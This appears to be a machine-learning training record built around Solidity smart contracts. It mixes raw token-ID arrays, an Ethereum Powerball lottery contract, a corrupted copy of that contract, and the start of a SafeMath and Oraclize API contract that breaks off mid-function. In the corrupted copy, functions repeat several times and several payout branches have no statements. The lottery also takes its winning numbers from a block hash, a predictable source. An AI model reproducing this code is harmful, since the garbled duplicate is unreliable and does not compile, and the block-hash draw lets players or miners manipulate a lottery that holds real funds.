[ 1, 565, 445, 21351, 510, 911, 12, 2867, 389, 9497, 16, 1758, 13, 203, 3639, 1071, 203, 3639, 1476, 203, 3639, 1135, 261, 11890, 5034, 13, 203, 565, 288, 203, 3639, 327, 384, 3223, 63, 67, 9497, 15533, 203, 565, 289, 203, 203, 2, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100 ]
pragma solidity ^0.4.18; /// @title Powerball contract contract Powerball { struct Round { uint endTime; uint drawBlock; uint[6] winningNumbers; mapping(address => uint[6][]) tickets; } uint public constant TICKET_PRICE = 2e15; uint public constant MAX_NUMBER = 69; uint public constant MAX_POWERBALL_NUMBER = 26; uint public constant ROUND_LENGTH = 3 days; uint public round; mapping(uint => Round) public rounds; constructor Powerball () public { round = 1; rounds[round].endTime = now + ROUND_LENGTH; } function buy (uint[6][] numbers) payable public { require(numbers.length * TICKET_PRICE == msg.value); for (uint i=0; i < numbers.length; i++) { for (uint j=0; j < 6; j++) require(numbers[i][j] > 0); for (j=0; j < 5; j++) require(numbers[i][j] <= MAX_NUMBER); require(numbers[i][5] <= MAX_POWERBALL_NUMBER); } // check for round expiry if (now > rounds[round].endTime) { rounds[round].drawBlock = block.number + 5; round += 1; rounds[round].endTime = now + ROUND_LENGTH; } for (i=0; i < numbers.length; i++) rounds[round].tickets[msg.sender].push(numbers[i]); } function drawNumbers (uint _round) public { uint drawBlock = rounds[_round].drawBlock; require(now > rounds[_round].endTime); require(block.number >= drawBlock); require(rounds[_round].winningNumbers[0] == 0); for (uint i=0; i < 5; i++) { bytes32 rand = keccak256(block.blockhash(drawBlock), i); uint numberDraw = uint(rand) % MAX_NUMBER + 1; rounds[_round].winningNumbers[i] = numberDraw; } rand = keccak256(block.blockhash(drawBlock), uint(5)); uint powerballDraw = uint(rand) % MAX_POWERBALL_NUMBER + 1; rounds[_round].winningNumbers[5] = powerballDraw; } function claim (uint _round) public { require(rounds[_round].tickets[msg.sender].length > 0); require(rounds[_round].winningNumbers[0] != 0); uint[6][] storage myNumbers = rounds[_round].tickets[msg.sender]; uint[6] storage winningNumbers = rounds[_round].winningNumbers; uint payout = 0; for (uint i=0; i < myNumbers.length; i++) { uint numberMatches = 0; for (uint j=0; j < 5; j++) { for (uint k=0; k < 5; k++) { if (myNumbers[i][j] == winningNumbers[k]) numberMatches += 1; } } bool powerballMatches = (myNumbers[i][5] == winningNumbers[5]); // win conditions if (numberMatches == 5 && powerballMatches) { payout = this.balance; break; } else if (numberMatches == 5) payout += 1000 ether; else if (numberMatches == 4 && powerballMatches) payout += 50 ether; else if (numberMatches == 4) payout += 1e17; // .1 ether else if (numberMatches == 3 && powerballMatches) payout += 1e17; // .1 ether else if (numberMatches == 3) payout += 7e15; // .007 ether else if (numberMatches == 2 && powerballMatches) payout += 7e15; // .007 ether else if (powerballMatches) payout += 4e15; // .004 ether } msg.sender.transfer(payout); delete rounds[_round].tickets[msg.sender]; } function ticketsFor(uint _round, address user) public view returns (uint[6][] tickets) { return rounds[_round].tickets[user]; } function winningNumbersFor(uint _round) public view returns (uint[6] winningNumbers) { return rounds[_round].winningNumbers; } }
@title Powerball contract
contract Powerball { struct Round { uint endTime; uint drawBlock; uint[6] winningNumbers; mapping(address => uint[6][]) tickets; } uint public constant TICKET_PRICE = 2e15; uint public constant MAX_NUMBER = 69; uint public constant MAX_POWERBALL_NUMBER = 26; uint public constant ROUND_LENGTH = 3 days; uint public round; mapping(uint => Round) public rounds; constructor Powerball () public { round = 1; rounds[round].endTime = now + ROUND_LENGTH; } function buy (uint[6][] numbers) payable public { require(numbers.length * TICKET_PRICE == msg.value); for (uint i=0; i < numbers.length; i++) { for (uint j=0; j < 6; j++) require(numbers[i][j] > 0); for (j=0; j < 5; j++) require(numbers[i][j] <= MAX_NUMBER); require(numbers[i][5] <= MAX_POWERBALL_NUMBER); } if (now > rounds[round].endTime) { rounds[round].drawBlock = block.number + 5; round += 1; rounds[round].endTime = now + ROUND_LENGTH; } for (i=0; i < numbers.length; i++) rounds[round].tickets[msg.sender].push(numbers[i]); } function buy (uint[6][] numbers) payable public { require(numbers.length * TICKET_PRICE == msg.value); for (uint i=0; i < numbers.length; i++) { for (uint j=0; j < 6; j++) require(numbers[i][j] > 0); for (j=0; j < 5; j++) require(numbers[i][j] <= MAX_NUMBER); require(numbers[i][5] <= MAX_POWERBALL_NUMBER); } if (now > rounds[round].endTime) { rounds[round].drawBlock = block.number + 5; round += 1; rounds[round].endTime = now + ROUND_LENGTH; } for (i=0; i < numbers.length; i++) rounds[round].tickets[msg.sender].push(numbers[i]); } function buy (uint[6][] numbers) payable public { require(numbers.length * TICKET_PRICE == msg.value); for (uint i=0; i < numbers.length; i++) { for (uint j=0; j < 6; j++) require(numbers[i][j] > 0); for (j=0; j < 5; j++) require(numbers[i][j] <= MAX_NUMBER); require(numbers[i][5] <= MAX_POWERBALL_NUMBER); } if (now > rounds[round].endTime) { rounds[round].drawBlock = block.number + 5; round += 1; rounds[round].endTime = now + ROUND_LENGTH; } for (i=0; i < numbers.length; i++) rounds[round].tickets[msg.sender].push(numbers[i]); } function drawNumbers (uint _round) public { uint drawBlock = rounds[_round].drawBlock; require(now > rounds[_round].endTime); require(block.number >= drawBlock); require(rounds[_round].winningNumbers[0] == 0); for (uint i=0; i < 5; i++) { bytes32 rand = keccak256(block.blockhash(drawBlock), i); uint numberDraw = uint(rand) % MAX_NUMBER + 1; rounds[_round].winningNumbers[i] = numberDraw; } rand = keccak256(block.blockhash(drawBlock), uint(5)); uint powerballDraw = uint(rand) % MAX_POWERBALL_NUMBER + 1; rounds[_round].winningNumbers[5] = powerballDraw; } function drawNumbers (uint _round) public { uint drawBlock = rounds[_round].drawBlock; require(now > rounds[_round].endTime); require(block.number >= drawBlock); require(rounds[_round].winningNumbers[0] == 0); for (uint i=0; i < 5; i++) { bytes32 rand = keccak256(block.blockhash(drawBlock), i); uint numberDraw = uint(rand) % MAX_NUMBER + 1; rounds[_round].winningNumbers[i] = numberDraw; } rand = keccak256(block.blockhash(drawBlock), uint(5)); uint powerballDraw = uint(rand) % MAX_POWERBALL_NUMBER + 1; rounds[_round].winningNumbers[5] = powerballDraw; } function claim (uint _round) public { require(rounds[_round].tickets[msg.sender].length > 0); require(rounds[_round].winningNumbers[0] != 0); uint[6][] storage myNumbers = rounds[_round].tickets[msg.sender]; uint[6] storage winningNumbers = rounds[_round].winningNumbers; uint payout = 0; for (uint i=0; i < myNumbers.length; i++) { uint numberMatches = 0; for (uint j=0; j < 5; j++) { for (uint k=0; k < 5; k++) { if (myNumbers[i][j] == winningNumbers[k]) numberMatches += 1; } } bool powerballMatches = (myNumbers[i][5] == winningNumbers[5]); if (numberMatches == 5 && powerballMatches) { payout = this.balance; break; } else if (numberMatches == 5) payout += 1000 ether; else if (numberMatches == 4 && powerballMatches) payout += 50 ether; else if (numberMatches == 4) else if (numberMatches == 3 && powerballMatches) else if (numberMatches == 3) else if (numberMatches == 2 && powerballMatches) else if (powerballMatches) } msg.sender.transfer(payout); delete rounds[_round].tickets[msg.sender]; } function claim (uint _round) public { require(rounds[_round].tickets[msg.sender].length > 0); require(rounds[_round].winningNumbers[0] != 0); uint[6][] storage myNumbers = rounds[_round].tickets[msg.sender]; uint[6] storage winningNumbers = rounds[_round].winningNumbers; uint payout = 0; for (uint i=0; i < myNumbers.length; i++) { uint numberMatches = 0; for (uint j=0; j < 5; j++) { for (uint k=0; k < 5; k++) { if (myNumbers[i][j] == winningNumbers[k]) numberMatches += 1; } } bool powerballMatches = (myNumbers[i][5] == winningNumbers[5]); if (numberMatches == 5 && powerballMatches) { payout = this.balance; break; } else if (numberMatches == 5) payout += 1000 ether; else if (numberMatches == 4 && powerballMatches) payout += 50 ether; else if (numberMatches == 4) else if (numberMatches == 3 && powerballMatches) else if (numberMatches == 3) else if (numberMatches == 2 && powerballMatches) else if (powerballMatches) } msg.sender.transfer(payout); delete rounds[_round].tickets[msg.sender]; } function claim (uint _round) public { require(rounds[_round].tickets[msg.sender].length > 0); require(rounds[_round].winningNumbers[0] != 0); uint[6][] storage myNumbers = rounds[_round].tickets[msg.sender]; uint[6] storage winningNumbers = rounds[_round].winningNumbers; uint payout = 0; for (uint i=0; i < myNumbers.length; i++) { uint numberMatches = 0; for (uint j=0; j < 5; j++) { for (uint k=0; k < 5; k++) { if (myNumbers[i][j] == winningNumbers[k]) numberMatches += 1; } } bool powerballMatches = (myNumbers[i][5] == winningNumbers[5]); if (numberMatches == 5 && powerballMatches) { payout = this.balance; break; } else if (numberMatches == 5) payout += 1000 ether; else if (numberMatches == 4 && powerballMatches) payout += 50 ether; else if (numberMatches == 4) else if (numberMatches == 3 && powerballMatches) else if (numberMatches == 3) else if (numberMatches == 2 && powerballMatches) else if (powerballMatches) } msg.sender.transfer(payout); delete rounds[_round].tickets[msg.sender]; } function claim (uint _round) public { require(rounds[_round].tickets[msg.sender].length > 0); require(rounds[_round].winningNumbers[0] != 0); uint[6][] storage myNumbers = rounds[_round].tickets[msg.sender]; uint[6] storage winningNumbers = rounds[_round].winningNumbers; uint payout = 0; for (uint i=0; i < myNumbers.length; i++) { uint numberMatches = 0; for (uint j=0; j < 5; j++) { for (uint k=0; k < 5; k++) { if (myNumbers[i][j] == winningNumbers[k]) numberMatches += 1; } } bool powerballMatches = (myNumbers[i][5] == winningNumbers[5]); if (numberMatches == 5 && powerballMatches) { payout = this.balance; break; } else if (numberMatches == 5) payout += 1000 ether; else if (numberMatches == 4 && powerballMatches) payout += 50 ether; else if (numberMatches == 4) else if (numberMatches == 3 && powerballMatches) else if (numberMatches == 3) else if (numberMatches == 2 && powerballMatches) else if (powerballMatches) } msg.sender.transfer(payout); delete rounds[_round].tickets[msg.sender]; } function claim (uint _round) public { require(rounds[_round].tickets[msg.sender].length > 0); require(rounds[_round].winningNumbers[0] != 0); uint[6][] storage myNumbers = rounds[_round].tickets[msg.sender]; uint[6] storage winningNumbers = rounds[_round].winningNumbers; uint payout = 0; for (uint i=0; i < myNumbers.length; i++) { uint numberMatches = 0; for (uint j=0; j < 5; j++) { for (uint k=0; k < 5; k++) { if (myNumbers[i][j] == winningNumbers[k]) numberMatches += 1; } } bool powerballMatches = (myNumbers[i][5] == winningNumbers[5]); if (numberMatches == 5 && powerballMatches) { payout = this.balance; break; } else if (numberMatches == 5) payout += 1000 ether; else if (numberMatches == 4 && powerballMatches) payout += 50 ether; else if (numberMatches == 4) else if (numberMatches == 3 && powerballMatches) else if (numberMatches == 3) else if (numberMatches == 2 && powerballMatches) else if (powerballMatches) } msg.sender.transfer(payout); delete rounds[_round].tickets[msg.sender]; } function ticketsFor(uint _round, address user) public view returns (uint[6][] tickets) { return rounds[_round].tickets[user]; } function winningNumbersFor(uint _round) public view returns (uint[6] winningNumbers) { return rounds[_round].winningNumbers; } }
12,753,383
[ 1, 13788, 19067, 6835, 2, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 16351, 23783, 19067, 288, 203, 565, 1958, 11370, 288, 203, 3639, 2254, 13859, 31, 203, 3639, 2254, 3724, 1768, 31, 203, 3639, 2254, 63, 26, 65, 5657, 2093, 10072, 31, 203, 3639, 2874, 12, 2867, 516, 2254, 63, 26, 6362, 5717, 24475, 31, 203, 565, 289, 203, 203, 565, 2254, 1071, 5381, 399, 16656, 1584, 67, 7698, 1441, 273, 576, 73, 3600, 31, 203, 565, 2254, 1071, 5381, 4552, 67, 9931, 273, 20963, 31, 203, 565, 2254, 1071, 5381, 4552, 67, 2419, 18839, 38, 4685, 67, 9931, 273, 10659, 31, 203, 565, 2254, 1071, 5381, 27048, 67, 7096, 273, 890, 4681, 31, 203, 203, 565, 2254, 1071, 3643, 31, 203, 565, 2874, 12, 11890, 516, 11370, 13, 1071, 21196, 31, 203, 203, 565, 3885, 23783, 19067, 1832, 1071, 288, 203, 3639, 3643, 273, 404, 31, 203, 3639, 21196, 63, 2260, 8009, 409, 950, 273, 2037, 397, 27048, 67, 7096, 31, 203, 565, 289, 203, 203, 565, 445, 30143, 261, 11890, 63, 26, 6362, 65, 5600, 13, 8843, 429, 1071, 288, 203, 3639, 2583, 12, 13851, 18, 2469, 380, 399, 16656, 1584, 67, 7698, 1441, 422, 1234, 18, 1132, 1769, 203, 203, 3639, 364, 261, 11890, 277, 33, 20, 31, 277, 411, 5600, 18, 2469, 31, 277, 27245, 288, 203, 5411, 364, 261, 11890, 525, 33, 20, 31, 525, 411, 1666, 31, 525, 27245, 203, 7734, 2583, 12, 13851, 63, 77, 6362, 78, 65, 405, 374, 1769, 203, 5411, 364, 261, 78, 33, 20, 31, 525, 411, 1381, 31, 525, 27245, 203, 7734, 2583, 12, 2 ]
pragma solidity ^0.4.19; /** * @title SafeMath * @dev Math operations with safety checks that throw on error */ library SafeMath { function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; assert(c / a == b); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { // assert(b > 0); // Solidity automatically throws when dividing by 0 uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { assert(b <= a); return a - b; } function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; assert(c >= a); return c; } } // <ORACLIZE_API> /* Copyright (c) 2015-2016 Oraclize SRL Copyright (c) 2016 Oraclize LTD Permission is hereby granted, free of charge, to any person obtaining a copy of this software and associated documentation files (the "Software"), to deal in the Software without restriction, including without limitation the rights to use, copy, modify, merge, publish, distribute, sublicense, and/or sell copies of the Software, and to permit persons to whom the Software is furnished to do so, subject to the following conditions: The above copyright notice and this permission notice shall be included in all copies or substantial portions of the Software. THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE. */ // This api is currently targeted at 0.4.18, please import oraclizeAPI_pre0.4.sol or oraclizeAPI_0.4 where necessary contract OraclizeI { address public cbAddress; function query(uint _timestamp, string _datasource, string _arg) external payable returns (bytes32 _id); function query_withGasLimit(uint _timestamp, string _datasource, string _arg, uint _gaslimit) external payable returns (bytes32 _id); function query2(uint _timestamp, string _datasource, string _arg1, string _arg2) public payable returns (bytes32 _id); function query2_withGasLimit(uint _timestamp, string _datasource, string _arg1, string _arg2, uint _gaslimit) external payable returns (bytes32 _id); function queryN(uint _timestamp, string _datasource, bytes _argN) public payable returns (bytes32 _id); function queryN_withGasLimit(uint _timestamp, string _datasource, bytes _argN, uint _gaslimit) external payable returns (bytes32 _id); function getPrice(string _datasource) public returns (uint _dsprice); function getPrice(string _datasource, uint gaslimit) public returns (uint _dsprice); function setProofType(byte _proofType) external; function setCustomGasPrice(uint _gasPrice) external; function randomDS_getSessionPubKeyHash() external constant returns(bytes32); } contract OraclizeAddrResolverI { function getAddress() public returns (address _addr); } contract usingOraclize { uint constant day = 60*60*24; uint constant week = 60*60*24*7; uint constant month = 60*60*24*30; byte constant proofType_NONE = 0x00; byte constant proofType_TLSNotary = 0x10; byte constant proofType_Android = 0x20; byte constant proofType_Ledger = 0x30; byte constant proofType_Native = 0xF0; byte constant proofStorage_IPFS = 0x01; uint8 constant networkID_auto = 0; uint8 constant networkID_mainnet = 1; uint8 constant networkID_testnet = 2; uint8 constant networkID_morden = 2; uint8 constant networkID_consensys = 161; OraclizeAddrResolverI OAR; OraclizeI oraclize; modifier oraclizeAPI { if((address(OAR)==0)||(getCodeSize(address(OAR))==0)) oraclize_setNetwork(networkID_auto); if(address(oraclize) != OAR.getAddress()) oraclize = OraclizeI(OAR.getAddress()); _; } modifier coupon(string code){ oraclize = OraclizeI(OAR.getAddress()); _; } function oraclize_setNetwork(uint8 networkID) internal returns(bool){ return oraclize_setNetwork(); networkID; // silence the warning and remain backwards compatible } function oraclize_setNetwork() internal returns(bool){ if (getCodeSize(0x1d3B2638a7cC9f2CB3D298A3DA7a90B67E5506ed)>0){ //mainnet OAR = OraclizeAddrResolverI(0x1d3B2638a7cC9f2CB3D298A3DA7a90B67E5506ed); oraclize_setNetworkName("eth_mainnet"); return true; } if (getCodeSize(0xc03A2615D5efaf5F49F60B7BB6583eaec212fdf1)>0){ //ropsten testnet OAR = OraclizeAddrResolverI(0xc03A2615D5efaf5F49F60B7BB6583eaec212fdf1); oraclize_setNetworkName("eth_ropsten3"); return true; } if (getCodeSize(0xB7A07BcF2Ba2f2703b24C0691b5278999C59AC7e)>0){ //kovan testnet OAR = OraclizeAddrResolverI(0xB7A07BcF2Ba2f2703b24C0691b5278999C59AC7e); oraclize_setNetworkName("eth_kovan"); return true; } if (getCodeSize(0x146500cfd35B22E4A392Fe0aDc06De1a1368Ed48)>0){ //rinkeby testnet OAR = OraclizeAddrResolverI(0x146500cfd35B22E4A392Fe0aDc06De1a1368Ed48); oraclize_setNetworkName("eth_rinkeby"); return true; } if (getCodeSize(0x6f485C8BF6fc43eA212E93BBF8ce046C7f1cb475)>0){ //ethereum-bridge OAR = OraclizeAddrResolverI(0x6f485C8BF6fc43eA212E93BBF8ce046C7f1cb475); return true; } if (getCodeSize(0x20e12A1F859B3FeaE5Fb2A0A32C18F5a65555bBF)>0){ //ether.camp ide OAR = OraclizeAddrResolverI(0x20e12A1F859B3FeaE5Fb2A0A32C18F5a65555bBF); return true; } if (getCodeSize(0x51efaF4c8B3C9AfBD5aB9F4bbC82784Ab6ef8fAA)>0){ //browser-solidity OAR = OraclizeAddrResolverI(0x51efaF4c8B3C9AfBD5aB9F4bbC82784Ab6ef8fAA); return true; } return false; } function __callback(bytes32 myid, string result) public { __callback(myid, result, new bytes(0)); } function __callback(bytes32 myid, string result, bytes proof) public { return; myid; result; proof; // Silence compiler warnings } function oraclize_getPrice(string datasource) oraclizeAPI internal returns (uint){ return oraclize.getPrice(datasource); } function oraclize_getPrice(string datasource, uint gaslimit) oraclizeAPI internal returns (uint){ return oraclize.getPrice(datasource, gaslimit); } function oraclize_query(string datasource, string arg) oraclizeAPI internal returns (bytes32 id){ uint price = oraclize.getPrice(datasource); if (price > 1 ether + tx.gasprice*200000) return 0; // unexpectedly high price return oraclize.query.value(price)(0, datasource, arg); } function oraclize_query(uint timestamp, string datasource, string arg) oraclizeAPI internal returns (bytes32 id){ uint price = oraclize.getPrice(datasource); if (price > 1 ether + tx.gasprice*200000) return 0; // unexpectedly high price return oraclize.query.value(price)(timestamp, datasource, arg); } function oraclize_query(uint timestamp, string datasource, string arg, uint gaslimit) oraclizeAPI internal returns (bytes32 id){ uint price = oraclize.getPrice(datasource, gaslimit); if (price > 1 ether + tx.gasprice*gaslimit) return 0; // unexpectedly high price return oraclize.query_withGasLimit.value(price)(timestamp, datasource, arg, gaslimit); } function oraclize_query(string datasource, string arg, uint gaslimit) oraclizeAPI internal returns (bytes32 id){ uint price = oraclize.getPrice(datasource, gaslimit); if (price > 1 ether + tx.gasprice*gaslimit) return 0; // unexpectedly high price return oraclize.query_withGasLimit.value(price)(0, datasource, arg, gaslimit); } function oraclize_query(string datasource, string arg1, string arg2) oraclizeAPI internal returns (bytes32 id){ uint price = oraclize.getPrice(datasource); if (price > 1 ether + tx.gasprice*200000) return 0; // unexpectedly high price return oraclize.query2.value(price)(0, datasource, arg1, arg2); } function oraclize_query(uint timestamp, string datasource, string arg1, string arg2) oraclizeAPI internal returns (bytes32 id){ uint price = oraclize.getPrice(datasource); if (price > 1 ether + tx.gasprice*200000) return 0; // unexpectedly high price return oraclize.query2.value(price)(timestamp, datasource, arg1, arg2); } function oraclize_query(uint timestamp, string datasource, string arg1, string arg2, uint gaslimit) oraclizeAPI internal returns (bytes32 id){ uint price = oraclize.getPrice(datasource, gaslimit); if (price > 1 ether + tx.gasprice*gaslimit) return 0; // unexpectedly high price return oraclize.query2_withGasLimit.value(price)(timestamp, datasource, arg1, arg2, gaslimit); } function oraclize_query(string datasource, string arg1, string arg2, uint gaslimit) oraclizeAPI internal returns (bytes32 id){ uint price = oraclize.getPrice(datasource, gaslimit); if (price > 1 ether + tx.gasprice*gaslimit) return 0; // unexpectedly high price return oraclize.query2_withGasLimit.value(price)(0, datasource, arg1, arg2, gaslimit); } function oraclize_query(string datasource, string[] argN) oraclizeAPI internal returns (bytes32 id){ uint price = oraclize.getPrice(datasource); if (price > 1 ether + tx.gasprice*200000) return 0; // unexpectedly high price bytes memory args = stra2cbor(argN); return oraclize.queryN.value(price)(0, datasource, args); } function oraclize_query(uint timestamp, string datasource, string[] argN) oraclizeAPI internal returns (bytes32 id){ uint price = oraclize.getPrice(datasource); if (price > 1 ether + tx.gasprice*200000) return 0; // unexpectedly high price bytes memory args = stra2cbor(argN); return oraclize.queryN.value(price)(timestamp, datasource, args); } function oraclize_query(uint timestamp, string datasource, string[] argN, uint gaslimit) oraclizeAPI internal returns (bytes32 id){ uint price = oraclize.getPrice(datasource, gaslimit); if (price > 1 ether + tx.gasprice*gaslimit) return 0; // unexpectedly high price bytes memory args = stra2cbor(argN); return oraclize.queryN_withGasLimit.value(price)(timestamp, datasource, args, gaslimit); } function oraclize_query(string datasource, string[] argN, uint gaslimit) oraclizeAPI internal returns (bytes32 id){ uint price = oraclize.getPrice(datasource, gaslimit); if (price > 1 ether + tx.gasprice*gaslimit) return 0; // unexpectedly high price bytes memory args = stra2cbor(argN); return oraclize.queryN_withGasLimit.value(price)(0, datasource, args, gaslimit); } function oraclize_query(string datasource, string[1] args) oraclizeAPI internal returns (bytes32 id) { string[] memory dynargs = new string[](1); dynargs[0] = args[0]; return oraclize_query(datasource, dynargs); } function oraclize_query(uint timestamp, string datasource, string[1] args) oraclizeAPI internal returns (bytes32 id) { string[] memory dynargs = new string[](1); dynargs[0] = args[0]; return oraclize_query(timestamp, datasource, dynargs); } function oraclize_query(uint timestamp, string datasource, string[1] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) { string[] memory dynargs = new string[](1); dynargs[0] = args[0]; return oraclize_query(timestamp, datasource, dynargs, gaslimit); } function oraclize_query(string datasource, string[1] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) { string[] memory dynargs = new string[](1); dynargs[0] = args[0]; return oraclize_query(datasource, dynargs, gaslimit); } function oraclize_query(string datasource, string[2] args) oraclizeAPI internal returns (bytes32 id) { string[] memory dynargs = new string[](2); dynargs[0] = args[0]; dynargs[1] = args[1]; return oraclize_query(datasource, dynargs); } function oraclize_query(uint timestamp, string datasource, string[2] args) oraclizeAPI internal returns (bytes32 id) { string[] memory dynargs = new string[](2); dynargs[0] = args[0]; dynargs[1] = args[1]; return oraclize_query(timestamp, datasource, dynargs); } function oraclize_query(uint timestamp, string datasource, string[2] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) { string[] memory dynargs = new string[](2); dynargs[0] = args[0]; dynargs[1] = args[1]; return oraclize_query(timestamp, datasource, dynargs, gaslimit); } function oraclize_query(string datasource, string[2] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) { string[] memory dynargs = new string[](2); dynargs[0] = args[0]; dynargs[1] = args[1]; return oraclize_query(datasource, dynargs, gaslimit); } function oraclize_query(string datasource, string[3] args) oraclizeAPI internal returns (bytes32 id) { string[] memory dynargs = new string[](3); dynargs[0] = args[0]; dynargs[1] = args[1]; dynargs[2] = args[2]; return oraclize_query(datasource, dynargs); } function oraclize_query(uint timestamp, string datasource, string[3] args) oraclizeAPI internal returns (bytes32 id) { string[] memory dynargs = new string[](3); dynargs[0] = args[0]; dynargs[1] = args[1]; dynargs[2] = args[2]; return oraclize_query(timestamp, datasource, dynargs); } function oraclize_query(uint timestamp, string datasource, string[3] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) { string[] memory dynargs = new string[](3); dynargs[0] = args[0]; dynargs[1] = args[1]; dynargs[2] = args[2]; return oraclize_query(timestamp, datasource, dynargs, gaslimit); } function oraclize_query(string datasource, string[3] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) { string[] memory dynargs = new string[](3); dynargs[0] = args[0]; dynargs[1] = args[1]; dynargs[2] = args[2]; return oraclize_query(datasource, dynargs, gaslimit); } function oraclize_query(string datasource, string[4] args) oraclizeAPI internal returns (bytes32 id) { string[] memory dynargs = new string[](4); dynargs[0] = args[0]; dynargs[1] = args[1]; dynargs[2] = args[2]; dynargs[3] = args[3]; return oraclize_query(datasource, dynargs); } function oraclize_query(uint timestamp, string datasource, string[4] args) oraclizeAPI internal returns (bytes32 id) { string[] memory dynargs = new string[](4); dynargs[0] = args[0]; dynargs[1] = args[1]; dynargs[2] = args[2]; dynargs[3] = args[3]; return oraclize_query(timestamp, datasource, dynargs); } function oraclize_query(uint timestamp, string datasource, string[4] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) { string[] memory dynargs = new string[](4); dynargs[0] = args[0]; dynargs[1] = args[1]; dynargs[2] = args[2]; dynargs[3] = args[3]; return oraclize_query(timestamp, datasource, dynargs, gaslimit); } function oraclize_query(string datasource, string[4] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) { string[] memory dynargs = new string[](4); dynargs[0] = args[0]; dynargs[1] = args[1]; dynargs[2] = args[2]; dynargs[3] = args[3]; return oraclize_query(datasource, dynargs, gaslimit); } function oraclize_query(string datasource, string[5] args) oraclizeAPI internal returns (bytes32 id) { string[] memory dynargs = new string[](5); dynargs[0] = args[0]; dynargs[1] = args[1]; dynargs[2] = args[2]; dynargs[3] = args[3]; dynargs[4] = args[4]; return oraclize_query(datasource, dynargs); } function oraclize_query(uint timestamp, string datasource, string[5] args) oraclizeAPI internal returns (bytes32 id) { string[] memory dynargs = new string[](5); dynargs[0] = args[0]; dynargs[1] = args[1]; dynargs[2] = args[2]; dynargs[3] = args[3]; dynargs[4] = args[4]; return oraclize_query(timestamp, datasource, dynargs); } function oraclize_query(uint timestamp, string datasource, string[5] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) { string[] memory dynargs = new string[](5); dynargs[0] = args[0]; dynargs[1] = args[1]; dynargs[2] = args[2]; dynargs[3] = args[3]; dynargs[4] = args[4]; return oraclize_query(timestamp, datasource, dynargs, gaslimit); } function oraclize_query(string datasource, string[5] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) { string[] memory dynargs = new string[](5); dynargs[0] = args[0]; dynargs[1] = args[1]; dynargs[2] = args[2]; dynargs[3] = args[3]; dynargs[4] = args[4]; return oraclize_query(datasource, dynargs, gaslimit); } function oraclize_query(string 